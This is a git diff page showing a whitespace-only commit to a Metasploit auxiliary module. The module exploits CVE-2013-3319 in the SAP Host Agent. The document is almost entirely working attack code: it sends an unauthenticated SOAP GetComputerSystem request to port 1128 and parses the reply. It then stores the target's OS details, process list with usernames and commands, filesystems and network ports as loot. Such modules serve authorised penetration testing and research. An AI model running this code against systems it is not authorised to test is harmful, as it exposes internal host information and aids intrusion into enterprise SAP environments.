Retab changes for PR #2142
parent
cdc7b75a78
commit
9516bc5cf7
|
@ -10,310 +10,310 @@ require 'rexml/document'
|
||||||
|
|
||||||
class Metasploit4 < Msf::Auxiliary
|
class Metasploit4 < Msf::Auxiliary
|
||||||
|
|
||||||
include Msf::Exploit::Remote::HttpClient
|
include Msf::Exploit::Remote::HttpClient
|
||||||
include Msf::Auxiliary::Report
|
include Msf::Auxiliary::Report
|
||||||
include Msf::Auxiliary::Scanner
|
include Msf::Auxiliary::Scanner
|
||||||
|
|
||||||
|
|
||||||
def initialize
|
def initialize
|
||||||
super(
|
super(
|
||||||
'Name' => 'SAP Host Agent Information Disclosure',
|
'Name' => 'SAP Host Agent Information Disclosure',
|
||||||
'Description' => %q{
|
'Description' => %q{
|
||||||
This module attempts to retrieve Computer and OS info from Host Agent
|
This module attempts to retrieve Computer and OS info from Host Agent
|
||||||
through the SAP HostControl service
|
through the SAP HostControl service
|
||||||
},
|
},
|
||||||
'References' =>
|
'References' =>
|
||||||
[
|
[
|
||||||
# General
|
# General
|
||||||
['CVE', '2013-3319'],
|
['CVE', '2013-3319'],
|
||||||
['URL', 'https://service.sap.com/sap/support/notes/1816536'],
|
['URL', 'https://service.sap.com/sap/support/notes/1816536'],
|
||||||
['URL', 'http://labs.integrity.pt/advisories/cve-2013-3319/']
|
['URL', 'http://labs.integrity.pt/advisories/cve-2013-3319/']
|
||||||
],
|
],
|
||||||
'Author' =>
|
'Author' =>
|
||||||
[
|
[
|
||||||
'Bruno Morisson <bm[at]integrity.pt>'
|
'Bruno Morisson <bm[at]integrity.pt>'
|
||||||
],
|
],
|
||||||
'License' => MSF_LICENSE
|
'License' => MSF_LICENSE
|
||||||
)
|
)
|
||||||
|
|
||||||
register_options(
|
register_options(
|
||||||
[
|
[
|
||||||
Opt::RPORT(1128)
|
Opt::RPORT(1128)
|
||||||
], self.class)
|
], self.class)
|
||||||
|
|
||||||
register_autofilter_ports([1128])
|
register_autofilter_ports([1128])
|
||||||
|
|
||||||
|
|
||||||
end
|
end
|
||||||
|
|
||||||
def initialize_tables
|
def initialize_tables
|
||||||
|
|
||||||
@computer_table = Msf::Ui::Console::Table.new(
|
@computer_table = Msf::Ui::Console::Table.new(
|
||||||
Msf::Ui::Console::Table::Style::Default,
|
Msf::Ui::Console::Table::Style::Default,
|
||||||
'Header' => "Remote Computer Listing",
|
'Header' => "Remote Computer Listing",
|
||||||
'Prefix' => "\n",
|
'Prefix' => "\n",
|
||||||
'Postfix' => "\n",
|
'Postfix' => "\n",
|
||||||
'Indent' => 1,
|
'Indent' => 1,
|
||||||
'Columns' =>
|
'Columns' =>
|
||||||
[
|
[
|
||||||
"Names",
|
"Names",
|
||||||
"Hostnames",
|
"Hostnames",
|
||||||
"IPAddresses"
|
"IPAddresses"
|
||||||
])
|
])
|
||||||
|
|
||||||
@os_table = Msf::Ui::Console::Table.new(
|
@os_table = Msf::Ui::Console::Table.new(
|
||||||
Msf::Ui::Console::Table::Style::Default,
|
Msf::Ui::Console::Table::Style::Default,
|
||||||
'Header' => "Remote OS Listing",
|
'Header' => "Remote OS Listing",
|
||||||
'Prefix' => "\n",
|
'Prefix' => "\n",
|
||||||
'Postfix' => "\n",
|
'Postfix' => "\n",
|
||||||
'Indent' => 1,
|
'Indent' => 1,
|
||||||
'Columns' =>
|
'Columns' =>
|
||||||
[
|
[
|
||||||
"Name",
|
"Name",
|
||||||
"Type",
|
"Type",
|
||||||
"Version",
|
"Version",
|
||||||
"TotalMemSize",
|
"TotalMemSize",
|
||||||
"Load Avg 1m",
|
"Load Avg 1m",
|
||||||
"Load Avg 5m",
|
"Load Avg 5m",
|
||||||
"Load Avg 15m",
|
"Load Avg 15m",
|
||||||
"CPUs",
|
"CPUs",
|
||||||
"CPU User",
|
"CPU User",
|
||||||
"CPU Sys",
|
"CPU Sys",
|
||||||
"CPU Idle"
|
"CPU Idle"
|
||||||
])
|
])
|
||||||
@net_table = Msf::Ui::Console::Table.new(
|
@net_table = Msf::Ui::Console::Table.new(
|
||||||
Msf::Ui::Console::Table::Style::Default,
|
Msf::Ui::Console::Table::Style::Default,
|
||||||
'Header' => "Network Port Listing",
|
'Header' => "Network Port Listing",
|
||||||
'Prefix' => "\n",
|
'Prefix' => "\n",
|
||||||
'Postfix' => "\n",
|
'Postfix' => "\n",
|
||||||
'Indent' => 1,
|
'Indent' => 1,
|
||||||
'Columns' =>
|
'Columns' =>
|
||||||
[
|
[
|
||||||
"ID",
|
"ID",
|
||||||
"PacketsIn",
|
"PacketsIn",
|
||||||
"PacketsOut",
|
"PacketsOut",
|
||||||
"ErrorsIn",
|
"ErrorsIn",
|
||||||
"ErrorsOut",
|
"ErrorsOut",
|
||||||
"Collisions"
|
"Collisions"
|
||||||
])
|
])
|
||||||
|
|
||||||
@process_table = Msf::Ui::Console::Table.new(
|
@process_table = Msf::Ui::Console::Table.new(
|
||||||
Msf::Ui::Console::Table::Style::Default,
|
Msf::Ui::Console::Table::Style::Default,
|
||||||
'Header' => "Remote Process Listing",
|
'Header' => "Remote Process Listing",
|
||||||
'Prefix' => "\n",
|
'Prefix' => "\n",
|
||||||
'Postfix' => "\n",
|
'Postfix' => "\n",
|
||||||
'Indent' => 1,
|
'Indent' => 1,
|
||||||
'Columns' =>
|
'Columns' =>
|
||||||
[
|
[
|
||||||
"Name",
|
"Name",
|
||||||
"PID",
|
"PID",
|
||||||
"Username",
|
"Username",
|
||||||
"Priority",
|
"Priority",
|
||||||
"Size",
|
"Size",
|
||||||
"Pages",
|
"Pages",
|
||||||
"CPU",
|
"CPU",
|
||||||
"CPU Time",
|
"CPU Time",
|
||||||
"Command"
|
"Command"
|
||||||
])
|
])
|
||||||
|
|
||||||
@fs_table = Msf::Ui::Console::Table.new(
|
@fs_table = Msf::Ui::Console::Table.new(
|
||||||
Msf::Ui::Console::Table::Style::Default,
|
Msf::Ui::Console::Table::Style::Default,
|
||||||
'Header' => "Remote Filesystem Listing",
|
'Header' => "Remote Filesystem Listing",
|
||||||
'Prefix' => "\n",
|
'Prefix' => "\n",
|
||||||
'Postfix' => "\n",
|
'Postfix' => "\n",
|
||||||
'Indent' => 1,
|
'Indent' => 1,
|
||||||
'Columns' =>
|
'Columns' =>
|
||||||
[
|
[
|
||||||
"Name",
|
"Name",
|
||||||
"Size",
|
"Size",
|
||||||
"Available",
|
"Available",
|
||||||
"Remote"
|
"Remote"
|
||||||
])
|
])
|
||||||
|
|
||||||
@net_table = Msf::Ui::Console::Table.new(
|
@net_table = Msf::Ui::Console::Table.new(
|
||||||
Msf::Ui::Console::Table::Style::Default,
|
Msf::Ui::Console::Table::Style::Default,
|
||||||
'Header' => "Network Port Listing",
|
'Header' => "Network Port Listing",
|
||||||
'Prefix' => "\n",
|
'Prefix' => "\n",
|
||||||
'Postfix' => "\n",
|
'Postfix' => "\n",
|
||||||
'Indent' => 1,
|
'Indent' => 1,
|
||||||
'Columns' =>
|
'Columns' =>
|
||||||
[
|
[
|
||||||
"ID",
|
"ID",
|
||||||
"PacketsIn",
|
"PacketsIn",
|
||||||
"PacketsOut",
|
"PacketsOut",
|
||||||
"ErrorsIn",
|
"ErrorsIn",
|
||||||
"ErrorsOut",
|
"ErrorsOut",
|
||||||
"Collisions"
|
"Collisions"
|
||||||
])
|
])
|
||||||
|
|
||||||
end
|
end
|
||||||
|
|
||||||
def parse_computer_info(computer_info)
|
def parse_computer_info(computer_info)
|
||||||
|
|
||||||
success = false
|
success = false
|
||||||
computer_info.each { |item|
|
computer_info.each { |item|
|
||||||
|
|
||||||
temp_table =[]
|
temp_table =[]
|
||||||
|
|
||||||
body = "#{item}"
|
body = "#{item}"
|
||||||
|
|
||||||
item_list = body.scan(/<item><mName>(.+?)<\/mName><mType>(.+?)<\/mType><mValue>(.+?)<\/mValue><\/item>/ix)
|
item_list = body.scan(/<item><mName>(.+?)<\/mName><mType>(.+?)<\/mType><mValue>(.+?)<\/mValue><\/item>/ix)
|
||||||
|
|
||||||
if item_list and "#{item_list}" =~ /ITSAMComputerSystem/
|
if item_list and "#{item_list}" =~ /ITSAMComputerSystem/
|
||||||
|
|
||||||
item_list.each do |m|
|
item_list.each do |m|
|
||||||
temp_table << "#{m[2]}" unless ("#{m}" =~ /ITSAM/)
|
temp_table << "#{m[2]}" unless ("#{m}" =~ /ITSAM/)
|
||||||
end
|
end
|
||||||
|
|
||||||
@computer_table << [temp_table[0], temp_table[1], temp_table[2]]
|
@computer_table << [temp_table[0], temp_table[1], temp_table[2]]
|
||||||
success = true
|
success = true
|
||||||
end
|
end
|
||||||
}
|
}
|
||||||
return success
|
return success
|
||||||
end
|
end
|
||||||
|
|
||||||
def parse_os_info(os_info)
|
def parse_os_info(os_info)
|
||||||
@os_table << [os_info[0], os_info[1], os_info[2], os_info[8], os_info[11], os_info[12], os_info[13],
|
@os_table << [os_info[0], os_info[1], os_info[2], os_info[8], os_info[11], os_info[12], os_info[13],
|
||||||
os_info[17], os_info[18]+'%', os_info[19]+'%', os_info[20]+'%']
|
os_info[17], os_info[18]+'%', os_info[19]+'%', os_info[20]+'%']
|
||||||
end
|
end
|
||||||
|
|
||||||
def parse_process_info(process_info)
|
def parse_process_info(process_info)
|
||||||
@process_table << [process_info[0], process_info[1], process_info[2], process_info[3], process_info[4],
|
@process_table << [process_info[0], process_info[1], process_info[2], process_info[3], process_info[4],
|
||||||
process_info[5], process_info[6]+'%', process_info[7], process_info[8]]
|
process_info[5], process_info[6]+'%', process_info[7], process_info[8]]
|
||||||
end
|
end
|
||||||
|
|
||||||
def parse_fs_info(fs_info)
|
def parse_fs_info(fs_info)
|
||||||
@fs_table << [fs_info[0], fs_info[2], fs_info[3], fs_info[4]]
|
@fs_table << [fs_info[0], fs_info[2], fs_info[3], fs_info[4]]
|
||||||
end
|
end
|
||||||
|
|
||||||
def parse_net_info(net_info)
|
def parse_net_info(net_info)
|
||||||
@net_table << [net_info[0], net_info[1], net_info[2], net_info[3], net_info[4], net_info[5]]
|
@net_table << [net_info[0], net_info[1], net_info[2], net_info[3], net_info[4], net_info[5]]
|
||||||
end
|
end
|
||||||
|
|
||||||
|
|
||||||
def run_host(rhost)
|
def run_host(rhost)
|
||||||
|
|
||||||
rport = datastore['RPORT']
|
rport = datastore['RPORT']
|
||||||
|
|
||||||
vprint_status("#{rhost}:#{rport} - Connecting to SAP Host Control service")
|
vprint_status("#{rhost}:#{rport} - Connecting to SAP Host Control service")
|
||||||
|
|
||||||
data = '<?xml version="1.0" encoding="utf-8"?>'
|
data = '<?xml version="1.0" encoding="utf-8"?>'
|
||||||
data << '<SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/"'
|
data << '<SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/"'
|
||||||
data << 'xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xs="http://www.w3.org/2001/XMLSchema">'
|
data << 'xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xs="http://www.w3.org/2001/XMLSchema">'
|
||||||
data << '<SOAP-ENV:Header><sapsess:Session xlmns:sapsess="http://www.sap.com/webas/630/soap/features/session/">'
|
data << '<SOAP-ENV:Header><sapsess:Session xlmns:sapsess="http://www.sap.com/webas/630/soap/features/session/">'
|
||||||
data << '<enableSession>true</enableSession></sapsess:Session></SOAP-ENV:Header><SOAP-ENV:Body>'
|
data << '<enableSession>true</enableSession></sapsess:Session></SOAP-ENV:Header><SOAP-ENV:Body>'
|
||||||
data << '<ns1:GetComputerSystem xmlns:ns1="urn:SAPHostControl"><aArguments><item>'
|
data << '<ns1:GetComputerSystem xmlns:ns1="urn:SAPHostControl"><aArguments><item>'
|
||||||
data << '<mKey>provider</mKey><mValue>saposcol</mValue></item></aArguments></ns1:GetComputerSystem>'
|
data << '<mKey>provider</mKey><mValue>saposcol</mValue></item></aArguments></ns1:GetComputerSystem>'
|
||||||
data << "</SOAP-ENV:Body></SOAP-ENV:Envelope>\r\n\r\n"
|
data << "</SOAP-ENV:Body></SOAP-ENV:Envelope>\r\n\r\n"
|
||||||
|
|
||||||
begin
|
begin
|
||||||
|
|
||||||
res = send_request_raw(
|
res = send_request_raw(
|
||||||
{
|
{
|
||||||
'uri' => "/",
|
'uri' => "/",
|
||||||
'method' => 'POST',
|
'method' => 'POST',
|
||||||
'data' => data,
|
'data' => data,
|
||||||
'headers' => {
|
'headers' => {
|
||||||
'Content-Type' => 'text/xml; charset=UTF-8',
|
'Content-Type' => 'text/xml; charset=UTF-8',
|
||||||
}
|
}
|
||||||
})
|
})
|
||||||
|
|
||||||
rescue ::Rex::ConnectionError
|
rescue ::Rex::ConnectionError
|
||||||
vprint_error("#{rhost}:#{rport} - Unable to connect to service")
|
vprint_error("#{rhost}:#{rport} - Unable to connect to service")
|
||||||
return
|
return
|
||||||
end
|
end
|
||||||
|
|
||||||
if res and res.code == 500 and res.body =~ /<faultstring>(.*)<\/faultstring>/i
|
if res and res.code == 500 and res.body =~ /<faultstring>(.*)<\/faultstring>/i
|
||||||
faultcode = $1.strip
|
faultcode = $1.strip
|
||||||
vprint_error("#{rhost}:#{rport} - Error code: #{faultcode}")
|
vprint_error("#{rhost}:#{rport} - Error code: #{faultcode}")
|
||||||
return
|
return
|
||||||
|
|
||||||
elsif res and res.code != 200
|
elsif res and res.code != 200
|
||||||
vprint_error("#{rhost}:#{rport} - Error in response")
|
vprint_error("#{rhost}:#{rport} - Error in response")
|
||||||
return
|
return
|
||||||
end
|
end
|
||||||
|
|
||||||
initialize_tables()
|
initialize_tables()
|
||||||
|
|
||||||
vprint_good("#{rhost}:#{rport} - Connected. Retrieving info")
|
vprint_good("#{rhost}:#{rport} - Connected. Retrieving info")
|
||||||
|
|
||||||
begin
|
begin
|
||||||
response_xml = REXML::Document.new(res.body)
|
response_xml = REXML::Document.new(res.body)
|
||||||
computer_info = response_xml.elements.to_a("//mProperties/") # Computer info
|
computer_info = response_xml.elements.to_a("//mProperties/") # Computer info
|
||||||
detailed_info = response_xml.elements.to_a("//item/mProperties/") # all other info
|
detailed_info = response_xml.elements.to_a("//item/mProperties/") # all other info
|
||||||
rescue
|
rescue
|
||||||
print_error("#{rhost}:#{rport} - Unable to parse XML response")
|
print_error("#{rhost}:#{rport} - Unable to parse XML response")
|
||||||
return
|
return
|
||||||
end
|
end
|
||||||
|
|
||||||
success = parse_computer_info(computer_info)
|
success = parse_computer_info(computer_info)
|
||||||
# assume that if we can parse the first part, it is a valid SAP XML response
|
# assume that if we can parse the first part, it is a valid SAP XML response
|
||||||
|
|
||||||
detailed_info.each { |item|
|
detailed_info.each { |item|
|
||||||
temp_table =[]
|
temp_table =[]
|
||||||
|
|
||||||
# some items have no <mValue>, so we put a dummy with nil
|
# some items have no <mValue>, so we put a dummy with nil
|
||||||
body = "#{item}".gsub(/\/mType><\/item/, "\/mType><mValue>(nil)<\/mValue><\/item")
|
body = "#{item}".gsub(/\/mType><\/item/, "\/mType><mValue>(nil)<\/mValue><\/item")
|
||||||
item_list = body.scan(/<item><mName>(.+?)<\/mName><mType>(.+?)<\/mType><mValue>(.+?)
|
item_list = body.scan(/<item><mName>(.+?)<\/mName><mType>(.+?)<\/mType><mValue>(.+?)
|
||||||
<\/mValue><\/item>/ix)
|
<\/mValue><\/item>/ix)
|
||||||
|
|
||||||
if item_list
|
if item_list
|
||||||
|
|
||||||
item_list.each do |m|
|
item_list.each do |m|
|
||||||
temp_table << "#{m[2]}" unless ("#{m}" =~ /ITSAM/)
|
temp_table << "#{m[2]}" unless ("#{m}" =~ /ITSAM/)
|
||||||
end
|
end
|
||||||
|
|
||||||
case "#{item_list}"
|
case "#{item_list}"
|
||||||
when /ITSAMOperatingSystem/
|
when /ITSAMOperatingSystem/
|
||||||
parse_os_info(temp_table)
|
parse_os_info(temp_table)
|
||||||
|
|
||||||
when /ITSAMOSProcess/
|
when /ITSAMOSProcess/
|
||||||
parse_process_info(temp_table)
|
parse_process_info(temp_table)
|
||||||
|
|
||||||
when /ITSAMFileSystem/
|
when /ITSAMFileSystem/
|
||||||
parse_fs_info(temp_table)
|
parse_fs_info(temp_table)
|
||||||
|
|
||||||
when /ITSAMNetworkPort/
|
when /ITSAMNetworkPort/
|
||||||
parse_net_info(temp_table)
|
parse_net_info(temp_table)
|
||||||
|
|
||||||
end
|
end
|
||||||
|
|
||||||
end
|
end
|
||||||
}
|
}
|
||||||
if success
|
if success
|
||||||
print_good("#{rhost}:#{rport} - Information retrieved successfully")
|
print_good("#{rhost}:#{rport} - Information retrieved successfully")
|
||||||
else
|
else
|
||||||
print_error("#{rhost}:#{rport} - Unable to parse reply")
|
print_error("#{rhost}:#{rport} - Unable to parse reply")
|
||||||
return
|
return
|
||||||
end
|
end
|
||||||
|
|
||||||
sap_tables_clean = ''
|
sap_tables_clean = ''
|
||||||
|
|
||||||
[@os_table, @computer_table, @process_table, @fs_table, @net_table].each do |t|
|
[@os_table, @computer_table, @process_table, @fs_table, @net_table].each do |t|
|
||||||
sap_tables_clean << t.to_s
|
sap_tables_clean << t.to_s
|
||||||
end
|
end
|
||||||
|
|
||||||
vprint_good("#{rhost}:#{rport} - Information retrieved:\n"+sap_tables_clean)
|
vprint_good("#{rhost}:#{rport} - Information retrieved:\n"+sap_tables_clean)
|
||||||
|
|
||||||
xml_raw = store_loot(
|
xml_raw = store_loot(
|
||||||
"sap.getcomputersystem",
|
"sap.getcomputersystem",
|
||||||
"text/xml",
|
"text/xml",
|
||||||
rhost,
|
rhost,
|
||||||
res.body,
|
res.body,
|
||||||
"sap_getcomputersystem.xml",
|
"sap_getcomputersystem.xml",
|
||||||
"SAP GetComputerSystem XML"
|
"SAP GetComputerSystem XML"
|
||||||
)
|
)
|
||||||
|
|
||||||
xml_parsed = store_loot(
|
xml_parsed = store_loot(
|
||||||
"sap.getcomputersystem",
|
"sap.getcomputersystem",
|
||||||
"text/plain",
|
"text/plain",
|
||||||
rhost,
|
rhost,
|
||||||
sap_tables_clean,
|
sap_tables_clean,
|
||||||
"sap_getcomputersystem.txt",
|
"sap_getcomputersystem.txt",
|
||||||
"SAP GetComputerSystem XML"
|
"SAP GetComputerSystem XML"
|
||||||
)
|
)
|
||||||
|
|
||||||
print_status("#{rhost}:#{rport} - Response stored in #{xml_raw} (XML) and #{xml_parsed} (TXT)")
|
print_status("#{rhost}:#{rport} - Response stored in #{xml_raw} (XML) and #{xml_parsed} (TXT)")
|
||||||
|
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
|
|
Loading…
Reference in New Issue